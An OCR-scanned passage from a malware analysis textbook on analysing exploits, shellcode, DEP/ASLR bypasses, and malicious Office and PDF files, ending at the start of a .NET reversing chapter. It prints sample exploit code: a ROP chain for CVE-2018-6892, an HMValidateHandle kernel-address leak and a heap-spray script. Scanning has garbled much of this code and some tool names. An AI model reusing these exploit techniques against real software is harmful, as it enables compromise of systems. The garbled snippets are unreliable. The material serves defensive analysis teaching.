information about the expected after-exploitation behavior. We will talk about
this later in greater detail.

After this, you need to identify the targeted vulnerability. Mitre Corporation
maintains a list of all publicly known vulnerabilities by assigning the
corresponding Common Vulnerabilities and Exposures (CVE) identifiers to
them so that they can be easily referenced (for example, CVE-2018-9206).
Sometimes, it may be already known from antivirus detection or publications,
but it is always advisable to confirm it in any case. Check for unique strings first
as they might give you a clue about the parts of the targeted software it interacts
with. Unlike most of the other types of malware, static analysis is generally not
enough in this case. Since exploits work closely with the targeted software, they
should be analyzed in its context, which in many cases requires dynamic
analysis. Here, you need to intercept the moment the exploit is delivered but
hasn't been processed yet using a debugger of preference. After this, there are



multiple ways the analysis can be continued. One approach is to carefully go
through the functions that are responsible for it being processed at a high level
(without stepping into each function) and monitoring the moment when it
triggers. Once this happens, it becomes possible to narrow down the searching
area and focus on the sub-functions of the identified function. Then, the engineer
can repeat this process up until the moment the bug is found.

Another way to do this is to search for suspicious entries in the exploit itself first
(such as corrupted fields, big binary blocks with high entropy, long lines with
hex symbols, and so on) and monitor how the targeted software processes them.
If the shellcode is being involved, it is possible to patch it with either a
breakpoint or infinite loop instructions at its beginning (\xcc and \xes\xre,
respectively), then perform steps to reproduce the exploitation, wait until the
inserted instructions get executed, and check the stack trace to see what
functions have been called to reach this point.

Overall, it is generally recommended to stick to the virtualized environment or
emulation for dynamic analysis since in the case of exploits, it is much more
probable that something may go wrong and execution control will be lost.
Therefore, it is convenient to have the ability to restore the previous debugging
and environmental state.

These instructions are universal and can be applied to pretty much any type of
exploit. Regardless of whether the engineer has to analyze browser exploits
(often written in JavaScript) or some local privilege escalation code, the
difference will mainly be in the setup for the testing environment.



Shellcode analysis

If you need to analyze the binary shellcode, you can use a debugger for the
targeted architecture and platform (such as OllyDbg for 32-bit Windows) by
copying the hexadecimal representation of the shellcode and using the binary
paste option. It is also possible to use tools such as libemu (a small emulator
library for x86 instructions) or the Pokas x86 Emulator, which is a part of the
PYSRDF project, to emulate shellcode.

Another popular solution is to convert it into an executable file, for example, by
using the shelicodezexe.py script, which supports multiple platforms. Then, you
need to analyze it both statically and dynamically, like any usual malware. For
the ROP chain to be analyzed, you need to get access to the targeted application
and the system so that the actual instructions can be resolved dynamically there.



Exploring bypasses for exploit
mitigation technologies

Since the same types of vulnerabilities keep appearing, despite all the awareness
and training for software developers on secure coding, new ways to reduce their
impact and make them unusable for remote code execution have been
introduced.

As a result, multiple exploit mitigation technologies were developed on various
levels to make it hard to impossible for the attackers to successfully execute their
shellcode. Let's take a look at the most well-known mitigations that have been
created for this purpose.



Data execution prevention (DEP/NX)

Data execution prevention is one of the earliest techniques that was introduced to
provide protection against exploits and shellcode. The idea behind it is to stop
the execution inside any memory page that doesn't have EXECUTE permission.
This technique can be supported by hardware that raises an exception once
shellcode gets executed in the stack or in the heap (or any place in memory that
doesn't have this permission).

This technology didn't completely stop the attackers from executing their
payload and taking advantage of memory corruption vulnerabilities. They
invented a new technique to bypass DEP or NX called Return-oriented
Programming (ROP) for this purpose.



Return-oriented programming

The main idea behind Return-oriented Programming (ROP) is that rather than
setting the return address to point to the shellcode, attackers can set the return
address to redirect the execution to some existing code inside the program or any
of its modules. Let's say the attacker carefully sequences small snippets of code,
like this one:

mov eax, 1

pop ebx
ret

The attacker can redirect the execution to the virtuaiprotect API to change
permissions for the part of the stack (or heap) that the shellcode is in and execute
the shellcode. Alternatively, it is possible to use combinations such as virtualalloc
and memcpy, WriteProcessMemory, HeapAlloc, and dlly memory copy APIs or
SetProcessDEPPolicy and ntsetinformationpProcess APIs to disable DEP.

The trick here is to use the Import Address Table (IAT) of a module to get the
address of any of these APIs so that the attacker can redirect the execution to the
beginning of this API. In the ROP chain, the attacker places all the arguments
that are required for each of these APIs, followed by a return to the API they
want to execute. An example of this is as follows:



def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
@x61badb5e, # POP EAX # RETN [Qt5Gui.dll]
0x698398a8, # ptr to &irtualProtect() [IAT Qt5Core.dll]
@x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]

@x6Baef542, # XCHG EAX,ESI # RETN [Qt5Core.dll]
@x68bfebbb, # POP EBP # RETN [Qt5Core.dll]
Ox68f82223, # & jmp esp [Qt5Core.dll]
Ox6d9f7736, # POP EDX # RETN [Qt55ql.d11]
Oxfffffdff, # Value to negate, will become @xBe0E02081
@xbebd7892, # NEG EDX # RETN [libgcc_s_dw2-1.d11]
@x61e878e8, # POP EBX # RETN [Qt5Gui.dll]
OxfHEfffff, #
@x6204f463, # INC EBX # RETN [Qt5Gui.dll]
Ox68f8063c, # ADD EBX,EDX # ADD AL,8A # RETN [QtSCore.dll]
@xblecddae, # POP EDX # RETN [Qt5Gui.dll]
@xffffffcB®, # Value to negate, will become B@xBEEREY4E
@xbebd7892, # NEG EDX # RETN [libgcc_s_dw2-1.d11]
@x61e2a887, # POP ECX # RETN [Qt5Gui.dll]
Oxbeb573c9, # &Writable location [libgcec_s_dw2-1.d11]
@x61e85d66, # POP EDI # RETN [Qt5Gui.dll]
Pxbd9ed31c, # RETN (ROP NOP) [Qt55ql.dll]
@xblba8ce5, # POP EAX # RETN [Qt5Gui.dll]
0x9090909@, # nop

#

@x61b6b8da, PUSHAD # RETN [Qt5Gui.dll1]

return '°.join(struct.pack('<I", _) for _ in rop_gadgets

Figure 8: ROP chain for the CVE-2018-6892 exploit

Some ROP chains can execute the required payload without the need to return to
the shellcode. There are automated tools that help the attacker search for these
small code gadgets and construct the valid ROP chain. One of these tools is
mona.py, Which is a plugin for the immunity debugger.

As you can see, DEP alone doesn't stop the attackers from executing their
shellcode. However, along with ASLR, these two mitigation techniques make it
hard for the attacker to successfully execute the payload. Let's take a look at how
ASLR works.



Address space layout randomization

Address space layout randomization (ASLR) is a mitigation that is used by
multiple operating systems, including Windows and Linux. The idea behind this
technique is to randomize addresses where the application and the DLLs are
loaded in the process memory. Instead of using predefined ImageBase values,
the system uses random addresses to make it very hard for the attackers to
construct their ROP chains, which generally rely on static addresses of
instructions comprising it.

Now, let's take a look at some common ways to bypass it.



DEP and partial ASLR

For ASLR to be effective, it is required to have the application and all its
libraries compiled with an ASLR enabling flag, such as -fstack-protector Or -pie -
fp1e for gcc compiler, which isn't always possible. If there is at least one module
that doesn't support ASLR, it becomes possible for the attacker to find the
required ROP gadgets there. This is especially true for tools that have lots of
plugins written by third parties or applications that use lots of different libraries.
While the kerne1s2.d11 ImageBase is still randomized (so that the attacker can't
directly return to an API inside), it's easily accessible from the import table of
the loaded non-ASLR module.



DEP and full ASLR - partial ROP
and chaining multiple vulnerabilities

In cases where all the libraries support ASLR, writing an exploit is much harder.
The known technique for this is chaining multiple vulnerabilities. For example,
one vulnerability will be responsible for information disclosure and another for
memory corruption. The information disclosure vulnerability could leak an
address of a module that helps reconstruct the ROP chain based on that address.
The exploit could contain a ROP chain comprised of just RVAs (relative
addresses without the ImageBase values) and exploit the information disclosure
vulnerability on the fly to leak the address and reconstruct the ROP chain in
order to execute the shellcode. This type of exploit is more common in scripting
languages such as vulnerabilities that are executed using JavaScript. Using the
power of this scripting language, the attacker is able to construct the ROP chain
on the target machine.

An example of this could be the local privilege escalation vulnerability CVE-
2019-0859 in wins2k.sys. The attacker uses a known technique in modern versions
of Windows (works on Windows 7, 8, and 10) called the nmvalidatenandie
technique. This technique uses an wmvalidaterandle function that's called by 1smenu
API, which is implemented in users2.d11. Given a handle of a window that has
been created, this function returns the address of its memory object in the kernel
memory, resulting in an information disclosure that could help in designing the
exploit, as you can see in the following screenshot:



HUND test = CreateindowEx(
)
und. 1psz(lasshlane,
TEXT("ORDS"),
)
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
MOLL, NULL, NULL, HULL);
PTHRDESKHEAD taghhiD = (PTHRDESKHEAD) pHinValidateHandle(test, 1);

$irder NING
printf("Kernel memory address: @xillx, tagTHREAD memory address: @xkllx\n', tagliD-»pSelf, taghliD->h.pti);
felse

printf("Kernel memory address: @xiX, tagTHREAD memory address: @xiX\n", taghliD-»pSelf, taghllD-»h.pti);
fendif

Figure 9: Kernel memory address leak using the HMValidateHandle technique

This technique works pretty well with stack-based overflow vulnerabilities. But
for heap overflows or use-after-free, there's a new problem that arises, in
particular the unknown location of the shellcode in the memory. In stack-based
overflows, the shellcode resides in the stack and it's pointed to by the esp
register, but in heap overflows, it is harder to predict where the shellcode will be.
In this case, another technique called heap spraying is commonly used.



DEP and full ASLR - heap spray
technique

The idea behind this technique is to make multiple addresses lead to the
shellcode by filling the memory of the application with lots of copies of it, which
will lead to its execution with a very high probability. The main problem here is
guaranteeing that these addresses point to the start of it and not to the middle.
This can be achieved by having a huge amount of nop bytes (called NOP slide,
NOP sled, or NOP ramp), or any instructions that don't have any major effect,
such as xor ecx, ecx.

nops = unescape ('%u%090%u%050"') ;

s = shellcode.length +

while (nops.length < s)

nops += nops;
f = nops.substring(l, s);

block = nops.substring(0, nops.length - s);

while (block.length + 5 < )
block = block + block + f;

memory = new Array();

for (counter = 0; counter < ; counter++)
memory [counter] = block + shellcode;

ret = "7.:

for (counter = 0; counter <= ; counter++)

ret += unescape("%0a%0a%0a%0a");

Figure 10: Heap spray technique

As you can see, the attacker here used the exeacacaca address to point to its
shellcode. Because of the heap spraying, this address could actually point to a nop
instruction in one of the shellcode blocks that will later lead to the start of the
shellcode.



Other mitigation technologies

There are also several other mitigation techniques that have been introduced to
protect against exploitation. We will just mention a few of them:

e Stack canaries (/GS Cookies): This technique involves writing a 4 byte
value just before the return address that will be checked before executing
the ret instruction. This technique makes it very hard for the attackers to use
stack overflow vulnerabilities in order to modify the return address as this
value is unknown to them. However, there are multiple bypasses for it, and
one of them is overwriting the SEH address and forcing an exception to
happen before the check of the GS cookie occurs. Overwriting the SEH
address is very effective, and led to other mitigations being introduced for
it.

e SafeSEH and SEHOP: These two mitigations directly protect the
applications from memory corruptions that overwrite SEH addresses. They
are used for 32-bit and 64-bit systems. The SEH addresses are no longer
stored in the stack and instead restored in the PE header in a separate data
directory that includes all the SEH addresses for all the application's
functions.

That's it for the most common mitigations.



Analyzing Microsoft Office exploits

While Microsoft Office is associated mainly with Windows by many people, it
has also supported the macOS operating system for several decades. In addition,
the file formats used by it are also understandable by various other suits, such as
Apache OpenOffice and LibreOffice. In this section, we will have a look at
vulnerabilities that can be exploited by malformed documents in order to
perform malicious actions and learn how to analyze them.



File structures

The first thing that should be clear when analyzing any exploit is how files
associated with them are actually structured. Let's take a look at the most
common file formats associated with Microsoft Office and used by attackers to
store and execute malicious code.



Compound file binary format

This is probably the most well-known file format that can be found in documents
associated with various older and newer Microsoft Office products, such as .doc
(Microsoft Office), .x1s (Microsoft Excel), .ppt (Microsoft PowerPoint), and
others. Once completely proprietary, it was later released to the public and now
the specification can be found online. Let's go through some of the most
important parts of it in terms of malware analysis.

The Compound File Binary (CFB) format provides a filesystem-like structure
for storing application-specific streams of data. Here is its header structure
according to the official documentation:

Header signature (8 bytes): Magic value, always
\XxDO\XCF\x11\xE0\xA1\xB1\x1A\xE1 (Where the first 4 bytes in hex resemble a
DOCEFILE string)

Header CLSID (16 bytes): Unused class ID, must be zero

Minor version (2 bytes): Always 0x003E for major versions 3 and 4
Major version (2 bytes): Main version number, can be either 0x0003 or
0x0004

Byte order (2 bytes): Always OxFFFE representing little-endian order
Sector shift (2 bytes): The FAT sector size as a power of 2, 0x0009 for
major version 3 (29 = 512 bytes) or 0x000C for major version 4 (2A12 =
4,096 bytes)

Mini sector shift (2 bytes): Always 0x0006 representing the sector size of
the mini stream (26 = 64 bytes)

Reserved (6 bytes): Must be set to zero

Number of directory sectors (4 bytes): Represents the number of directory
sectors, always zero for major version 3 (not supported)

Number of FAT sectors (4 bytes): Number of FAT sectors

First directory Sector location (4 bytes): Represents the starting sector
number for the directory stream

Transaction signature number (4 bytes): Stores a sequence number for
the transactions in files supporting them, zero otherwise

Mini stream cutoff size (4 bytes): Always oxeeeo1000, represents the
maximum size of the user-defined data stream associated with mini FAT



data
¢ First mini FAT sector location (4 bytes): Stores the starting sector number

for the mini FAT

e Number of mini FAT sectors (4 bytes): Is used to store a number of mini
FAT sectors

e First DIFAT sector location (4 bytes): Starting sector number for the
DIFAT data

e Number of DIFAT sectors (4 bytes): Stores a number of DIFAT sectors
o DIFAT (436 bytes): An array of integers (4 bytes each) representing the
first 109 locations of FAT sectors

As you can see, it is possible to allocate memory using the usual sectors and
mini stream that operates with sectors of smaller sizes:

¢ File Allocation Table (FAT): Main space allocator, an array of sector
numbers grouped into FAT sectors to comprise a chain
e Mini FAT: Allocator for the mini stream and small user-defined data

For each sector in a chain, the ID of the next sector is stored up until the last one
contains the enoorcrain (exrrrrrrre) value. The header takes the space of a single
usual sector with its values padded according to the sector size if necessary. In
addition, there are several other auxiliary storages, including the following:

¢ Double-Indirect File Allocation Table (DIFAT): Stores the locations of
FAT sectors
e Directory: Stores metadata for storage and stream objects

Here, stream and storage objects are used in a similar way to files and directories
in typical filesystems. All objects under one storage object are represented in the
form of a red-black search tree and can therefore have left and right siblings. The
root directory, in this case, will be the first entry in the first sector of the
directory chain, and behaves as both a stream and a storage object.



Rich text format

Rich Text Format (RTF) is another proprietary Microsoft format, with a
published specification that can be used to create documents. Originally, its
syntax was influenced by the TeX language that was mostly developed by
Donald Knuth as it was intended to be cross-platform. The first reader and writer
was released with the Microsoft Word product for Macintosh computers. Unlike
the other document formats we've described, it is actually human-readable in
usual text editors, without any preprocessing required.

Apart from the actual text, all RTF documents are implemented using the
following elements:

e Control words: Prepended by a backslash and ending with a delimiter,
these are special commands that may have certain states represented by a
number. The following are some examples:

e \rtfn: The starting control word that can be found at the beginning of
any RTF document, where N represents the major format version
(currently, this is 1)

\ansi: One of the supported character sets following \rtfn

\fonttbl: The control word introducing the font table group

\pard: Resets to default paragraph properties

e \par: Specifies the new paragraph (or the end of the current paragraph)
¢ Delimiters: Mark the end of an RTF control word. There are three types of

delimiters in total:

e Space: Treated as part of the control word

¢ Non-alphanumeric symbols: Terminates the control word, but is not

actually part of it

e A digit with an optional hyphen (to specify minus): Indicates the

numeric parameter; either positive or negative

e Control symbols: Consist of a backslash, followed by a non alphabetic
character. Treated in pretty much the same way as control words.

e Groups: Consist of text and control words or symbols specifying associated
attributes, all surrounded by curly brackets.



Office open XML format

This file format (also known as OOXML) is associated with newer Microsoft
Office products and is implemented in files with extensions that end with x, such
as .docx, .xlsx, and .pptx. At the time of writing, this is the default format used by
modern versions of Office.

In this case, all information is in Open Packaging Convention (OPC)
packages, which are actually ZIP archives that follow a particular structure and
store XML and other data as long as there is a relationship between them.

Here is its basic structure:

® [content_Types].xml: This file is located in any document and stores MIME
type information for various parts of the package.

e _rels: The directory contains relationships between files within the package.
All files that have relationships will have a file with the same name and a
.rels extension appended to it. In addition, it also contains a separate .re1s
XML file for storing package relationships.

® docrrops: Contains several XML files describing certain properties associated
with the document, for example, core.xm1 for core properties (such as the
creator or various dates) and app.xm1 (number of pages, characters, and so
on).

® <document_type_specific_directory>. This diI‘ECtOI“Y contains the actual document
data. Its name depends on the target application, for example:

e word—Tfor Microsoft Word: Main information is stored in the
document . xml file.

e x1—for Microsoft Excel: In this case, the main file will be workbook.xm1.

e ppt—for Microsoft PowerPoint: Here, the main information is located
in the presentation.xm1 file.



Static and dynamic analysis of MS
Office exploits

In this section, we are going to learn how malicious Microsoft Office documents
can be analyzed. Here, we will focus on malware for exploiting vulnerabilities.
Macro threats will be covered in another chapter as they aren't classed as
exploits from a technical standpoint.



Static analysis

There are quite a few tools that allow analysts to look inside original Microsoft
Office formats:

® oletools: A unique set of several powerful tools that allow an analyst to
analyze all common documents associated with Microsoft Office products,
for example:
® olebrowse: A pretty basic GUI tool that allows you to browse CFB
documents
® oledir: Displays directory entries within CFB files
e olemap: Shows all sectors present in the document, including the header

® oleobj: Allows you to extract embedded objects from CFB files
® rtfobj: Pretty much the same functionality, but this time for RTF
documents

OLE HEADER:

|OLE Signature (hex) ACF11EGALBL1AEL |Should be
|Header CLSID (hex) |Should be @
“‘"Iil'l or Version AE3 Should be .
|Major Yersion Should be 3 or
|Byte Order Should be
Sector Shift ABAY Should be ¢

-

I# n::nc Dir EiEI:Z:tI:Z:Ir"S 2 Should be @ 1F major version is 3

(hex)
gt Should be B
|I‘-'Iir|i5tr eam u._.|_1tn._.|FF Should be 4096 bytes
|First MiniFAT Sector APPRRABC U=
|# of I‘-'IiniFAT Sectors '
|First DIFAT Sector | FFFFFFFE
| of DIFAT & ’




Figure 11: Example of the olemap output

® oledump: This powerful tool gives valuable insight into streams that are
present in the document and features dumping and decompression options
as well

e rtidump: Another tool from the same author, this time aiming to facilitate the
analysis of RTF documents

® officeMalscanner: Features several heuristics to search for and analyze
shellcode entries, as well as encrypted MZ-PE files

Regarding the newer Open XML-based files (such as .docx, .x1sx, and .pptx),
officedissector—a parser library written in Python that was designed for the
security analysis of OOXML files—can be used for automating certain tasks.
But overall, once unzipped, they can always be analyzed in your average text
editor with XML highlighting. Similarly, as we have already mentioned, RTF
files don't necessarily require any specific software and can be analyzed in pretty
much any text editor.

When performing static analysis, it generally makes sense to extract macros first
if they're present, as well as check for the presence of other non-exploit-related
techniques, such as DDE or PowerPoint actions (their analysis is covered in chapt
er 9, Scripts and Macros: Reversing, Deobfuscation, and Debugging). Then, you
need to check whether any URLSs or high-entropy blobs are present as they may
indicate the presence of a shellcode. Only after this does it make sense to dig
into anomalies in the document structure that might indicate the presence of an
exploit.



Dynamic analysis

Dynamic analysis of these types of exploits can be performed in two stages:

e High-level: At this stage, it is required to reproduce and this way confirm
the malicious behavior. Usually, it involves the following steps:

e Figure out the actual exploit payload: Generally, this part can be
done during the static analysis stage. Otherwise, it is possible to set up
various behavioral analysis tools (filesystem, registry, process, and
network monitors) and search for suspicious entries once the exploit is
supposed to trigger during the next step.

e Identify the product version(s) vulnerable to it: If the vulnerability
has been publicly disclosed, in most cases, it contains confirmed
versions of targeted products. Otherwise, it is possible to install
multiple versions of it in separate VM snapshots in order to find at
least one that allows you to reliably reproduce the exploit triggering.

e Low-level: In many cases, this stage is not required as we already know
what the exploit is supposed to do and what products are affected. However,
if we need to verify the vulnerability's CVE number or handle zero-day
vulnerability, it may be required to figure out exactly what bug has been
exploited.

Once we can reliably reproduce the exploit triggering, we can attach to the
targeted module of the corresponding Microsoft Office product and keep
debugging it until we see the payload triggered, then intercept this moment and
dive deep into how it works.



Studying malicious PDFs

The Portable Document Format (PDF) was developed by Adobe in the 90s for
presenting documents in a uniform way, regardless of the application software or
operating system used. Originally proprietary, it was released as an open
standard in 2008. Unfortunately, due to its popularity, multiple attackers misuse
it to deliver their malicious payloads. Let's see how they actually work and how
they can be analyzed.



File structure

A PDF is a tree file that consists of objects that implement one of eight data
types:

Null object.

Boolean values.

Numbers.

Names: These values can be recognized by a forward slash at the
beginning.

Strings: Surrounded by double parentheses.

Arrays: Enclosed within square brackets.

Dictionaries: In this case, double curly brackets are used.
Streams: These are the main data storage blocks, and they support binary
data. Streams can be compressed in order to reduce the size of the
associated data.

Apart from this, it is possible to use comments with the help of the percentage
sign.

All complex data objects (such as images or JavaScript entries) are stored using
basic data types. In many cases, objects will have the corresponding dictionary
mentioning the data type with the actual data stored in a stream.

All PDF documents start with the %ror signature, followed by the format version
number (for example, 1.7) separated by a dash.

There are multiple keywords supported to define the boundaries and types of the
data objects, for example:

e xref: This is used to mark the cross-reference table, also known as the index
table. This entry contains offsets of all indirect objects (labelled so that they
can be referred by others).

® obj/endobj: These keywords define indirect objects. For indirect objects, the
obj keyword is prepended by the object number and its generation number
(can be increased when the file is later updated), all separated by spaces.

® strean/endstream; This can be used to define streams.



e trailer: This defines the trailer dictionary at the end of the file, followed by
the startxref keyword specifying the offset of the index table and the
sseoFrmarker.

Here are the most common entries that might be of interest to an analyst when
they're analyzing malicious PDFs:

e /type: Defines the type of the associated object data, for example:

e /objstm: The object stream, a complex data type that can be used to
store multiple objects. Usually, it is accompanied by several other
entries, such as /n defining the number of embedded objects and /rirst,
which defines the offset of the first object inside it. The first line of the
stream defines the numbers and offsets of embedded objects, all
separated by spaces.

e /action: Describes the action to perform. There are different types of
them, for example:

e /Launch: Defines the launch action to execute an application
specified using the /r value. Optionally, separate parameters can
be provided using a separate entry, for example, /win for
Windows.

e surr: Defines the URI action to resolve a URI specified.

® /javascript: Executes a specified piece of JavaScript:

e /3s: Defines a text string or a stream containing a JavaScript
block that should be executed once the action (rendition or
JavaScript) triggers.

e /rendition: Can be used to execute the JavaScript as well. The
same ,Js name can be used to specify it.

e /submitrorm: Sends data to the specified address. The URL is
provided in the /r entry, and might be used in phishing
documents.

e /embeddedriles: Can be used to store an auxiliary file, for example, a
malicious payload.

e /catalog: The root of the object hierarchy; defines references to other
objects.

® /names: An optional document name dictionary. Allows you to
refer to some objects by names rather than by references, for
example, using /savascript OT /EmbeddedFiles Mappings.

® /openaction: Specifies the destination to display (generally, this isn't
relevant for malware analysis purposes) or an action to perform



once the document is opened (see the previous list).
e /aa: Additional actions associated with trigger events.

e sriiter: This entry defines the decoding filter(s) to be applied to the
associated stream so that the data becomes readable. /rriiter can be used in
the stream's external file. For some of them, optional parameters can be
specified using /pecodeparms (Or /Fpecodeparms, respectively). Multiple filters
can be cascaded if necessary. There are two main categories of filters:
compression filters and ASCII filters. Here are some examples that are
commonly used in malware:

® /Flatepecode: Probably the most common way to compress text and
binary data, this utilizes the z1ib/def1ate algorithm

® /Lzwpecode: In this case, the LZW compression algorithm is used instead

® /runLengthpecode: Here, the data is encoded using the Run-Length
Encoding (RLE) algorithm

® /ascriHexbecode: Data is encoded using hexadecimal representation in
ASCII

® /ascrisspecode: Another way to encode binary data, in this case using
ASCII85 (also known as Base85) encoding

® /encrypt: An entry in the file trailer dictionary that specifies that this
document is password protected. The entries in the corresponding object
specify the way this is done:

e so: This entry defines the owner-encrypted document. Generally, it is
used for DRM purposes.

e ,u: Associated with the so-called user-encrypted document, it is usually
done for confidentiality. Malware authors may use it to bypass security
checks and then give the victim a password to open it.

It is worth mentioning that in the modern specification, it is possible to replace
parts of these names (or even the whole name) with #xx hexadecimal
representations, so /urr can become /#ssr1 Or even /#ss#52449.

Some entries may reference other objects using the letter r. For example, /Length
15 o r means that the actual length value is stored in a separate object 1s,
generation o. When the file is being updated, a new object with the incremented
generation number is added.



Static and dynamic analysis of PDF
files

Now, it is time to learn how malicious PDF files can be analyzed. Here, we will
cover various tools that can facilitate the analysis and give some guidelines on
when and how they should be used.



Static analysis

In many cases, static analysis can answer pretty much any question that an
engineer should answer when analyzing these types of samples. There are
multiple dedicated open source tools that can make this process pretty
straightforward. Let's explore some of the most popular ones:

® pdf-parser: A versatile Swiss knife tool when we are talking about PDF
analysis. Among its features are the ability to build stats for names
presented in a file (this also can be done using pdfrid from the same author),
as well as to search for particular names, and decode and dump individual
objects. Here are some of the most useful commands:

-a: Displays stats for the PDF sample

-0: Parses /objstm objects

-k: Searches for the name of interest

-d: Dumps the object specified using the -o argument

-w: Raw output

-f: Passes an object through decoders

® peepdf: Another tool in the arsenal of malware analysts, this provides various
useful commands that aim to identify, extract, decode, and beautify
extracted data.

® porstreampumper: This Windows tool combines multiple features into one
comprehensive GUI and provides rich functionality that's required when
analyzing malicious PDF documents. It is strongly focused on extracting
and processing various types of payload hidden in streams and supports
multiple encoding algorithms, including less common ones:

e 6 o o o
= o x O o
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function re(count,what)
{
Var v = un;

while (--count >= 0)
v += what;

return v;
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Figure 12: PDFStreamDumper tool

built a JSON containing all the extracted and decoded information from the



malicious PDF to make it more visible. That way it can be easily parsed
using a scripting language of preference if necessary.

Apart from this, there are multiple tools and libraries that can facilitate analysis
by parsing PDF structure, decrypting documents, or decoding streams, including
qpdf, PyPDF2, and origami.

When performing the static analysis of malicious PDF files, it usually makes
sense to start by listing the actions presented there, as well as the different types
of objects. Pay particular attention to the suspicious entries we listed previously.
Decode all encoded streams to see what's inside as they may contain malicious
modules.

If the JavaScript object is extracted, follow the recommendations for both static
and dynamic analysis provided in the corresponding chapter 9, Scripts and
Macros: Reversing, Deobfuscation, and Debugging. In many cases, the exploit
functionality is implemented using this language. Flash is much less common
nowadays as the Flash Player is scheduled to be discontinued very soon.



Dynamic analysis

In terms of dynamic analysis, the same steps that were taken for Microsoft
Office exploits can be followed:

1.
2.
3.

4.

Figure out the actual exploit payload.

Identify the product version(s) vulnerable to it.

Open the document using the candidate product and use monitoring tools to
confirm that it triggers.

Find a place in the code of the vulnerable product for triggering the exploit.

If the actual exploit body is written in some other language (such as JavaScript),
it might be more convenient to debug parts of it separately while emulating the
environment that's required for the exploit to work. This part will also be
covered in a dedicated chapter 9, Scripts and Macros: Reversing, Deobfuscation,
and Debugging.



Summary

In this chapter, we became familiar with various types of vulnerabilities, the
exploits targeting them, and different techniques that aim to battle them. Then,
we learned about shellcode, how it is different for different platforms, and how it
can be analyzed.

Finally, we covered the most common types of exploits used nowadays in the
wild, that is, malicious PDF and Microsoft Office documents, and explained how
to examine them. With this knowledge, you will be able to gauge the attacker's
mindset and understand the logic behind various techniques that can be used to
compromise the target system.

In chapter 8, Reversing Bytecode Languages: .NET, Java, and More, we are going
to learn how to handle malware that's written using bytecode languages, what
challenges the engineer may face during the analysis, and how to deal with them.



Reversing Bytecode Languages:
NET, Java, and More

The beauty of cross-platform compiled programs is in their flexibility as you
don't need to port each program to different systems. In this chapter, we will take
a look at how malware authors are trying to leverage these advantages for evil
purposes. In addition, you will be provided with an arsenal of tools and
techniques whose aim is to make analysis quick and efficient.

This chapter is divided into the following sections to facilitate the learning
process:

The basic theory of bytecode languages
.NET explained

.NET malware analysis

The essentials of Visual Basic
Dissecting Visual Basic samples

The internals of Java samples
Python—script language internals
Analyzing compiled Python



Exploring the theory of bytecode
languages

.NET, Java, Python, and many other languages are designed to be cross-
platform. The corresponding source code doesn't get compiled into an assembly
language (such as Intel, ARM, and so on), but gets compiled into an intermediate
language that is called bytecode language. Bytecode language (or p-code
language) is a type of language that's close to assembly languages, but it can be
easily executed by an interpreter or compiled on the fly into a native language
(this depends on the CPU and operating system it is getting executed in) in
what's called Just-in-Time (JIT) compiling.



Object-oriented programming

Most of these bytecode languages follow the state of the art technologies in
programming and development fields. They implement what's called Object-
Oriented Programming (OOP). If you've never heard of it, OOP programming
is based on the concept of objects. These objects contain properties (sometimes
called fields or attributes) and contain procedures (sometimes called functions or
methods). These objects can interact with each other.

Objects can be different instances of the same design or blueprint, which is
known as a class. Taking a look at the following diagram, we can see a class for
a car and different instances or objects of that class:

class objects

£
S

methods attributes
ignition() accelerate() stop() speed, fuel and oil

Figure 1: Car class and three different objects
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In this class, there are attributes such as fuel and speed, as well as methods such
as drive and getruel. These objects interact with each other and execute these
methods or directly modify the attributes of these objects.



Inheritance

Another important concept to understand is inheritance. Inheritance allows a
subclass to inherit (or include) all the attributes and methods that are included in
the parent class (with the code inside). This subclass can have more attributes or
methods, and it can even reimplement a method included in the parent class
(sometimes called super or superclass).



Polymorphism

Inheritance allows one class to represent many different types of object in what's
called polymorphism. A shape class can represent different subclasses, such

as Line, circle, square, and others. A drawing application can loop through all shape
objects (regardless of their subclasses) and execute a paint() method to paint
them on the screen or the program canvas without having to deal with each class
separately.

Since the shape class has the paint() method and each of its subclasses has its own
implementation of it, it becomes much easier for the application to just execute
the paint() method, regardless of its implementation.



NET explained

.NET languages (mainly C# and VB.NET) are languages that were designed by
Microsoft to be cross-platform languages that are compiled into a bytecode
language, originally named Microsoft Intermediate Language (MSIL), and
now known as Common Intermediate Language (CIL). This language gets
executed by the Common Language Runtime (CLR), which is an application
virtual machine that provides memory management and exception handling.



NET file structure

The .NET file structure is based on the PE structure that we described in chapter
2, Basic Static and Dynamic Analysis for x86/x64. The .NET structure starts with
a PE header that has the last entry in the data directory pointing to .NET's special
CLR header (COR20 header).



NET COR20 header

The COR20 header starts after 8 bytes of the .text section and contains basic
information about the .NET file, as you can see in the following screenshot:

= X Cor20 Header

C  ManagedNativ

Figure 2: CLR header (COR20 header) and CLR streams

The values of this structure are as follows:

e cb: Represents the size of the header (always 0x48)

® MajorRuntimeVersion and MinorRuntimeversion: Always with values of 2 and 5
(even with runtime 4)

e Metadata address and size: Contains all the CLR streams, which will be
described later

® entrypointToken: Represents the EntryPoint and contains 2 values (ex6000012):

e 0x06: Represents the sixth table in the first stream, that is, Methods
(we will talk about streams in detail later)



e 0x12 (18): Represents the method ID in the methods table, as you can
see in the following screenshot:

00 Module (1)
01 TypeRef (110)
02 TypeDef (23)
(4 Field (84)

06 Method (106)

o Lo P

e

Figure 3: The EntryPoint method in the methods table in the first stream, #~

This header points to the metadata structure that contains all the information
about classes, methods, strings, and so on.



Metadata streams

Metadata contains five sections that are similar to the PE file sections, but they
are called streams. The streams' names start with # and are as follows:

e :-: This stream contains all the tables that store information about classes,
namespaces (classes containers), events, methods, attributes, and so on.
Each table has a unique ID (for example, the Methods table has an ID of
0x6).

e ustrings: This stream includes all the strings that are used in the #- section.
This includes the methods' names, classes' names, and so on. The structure
of this section is basically each item starts with its length, followed by the
string, and then the next item length followed by the string, and so on.

e uus: This stream is similar to the #strings stream, but it contains the strings
that are used by the application itself, like in the following screenshot (with
the same structure of item length followed by the string):

DABD

SELECT * FROM moz_logins;”

Figure 4: #US unicode string started with the length and followed by the actual string

e ucurp: Stores the unique identifiers (GUIDs).
#blob: This stream is similar to #us and #strings, but it contains all binary data
related to the application. It has the same format of the item length,
followed by the data blob.

So, this is the structure of the .NET application. Now, let's take a look at how to
identify the .NET application from a native .exe file.



How to identify a .NET application
from PE characteristics

The first way that a .NET PE file can be identified is by using a PEiD or CFF
Explorer that includes signatures covering .NET applications, as you can see in
the following screenshot:

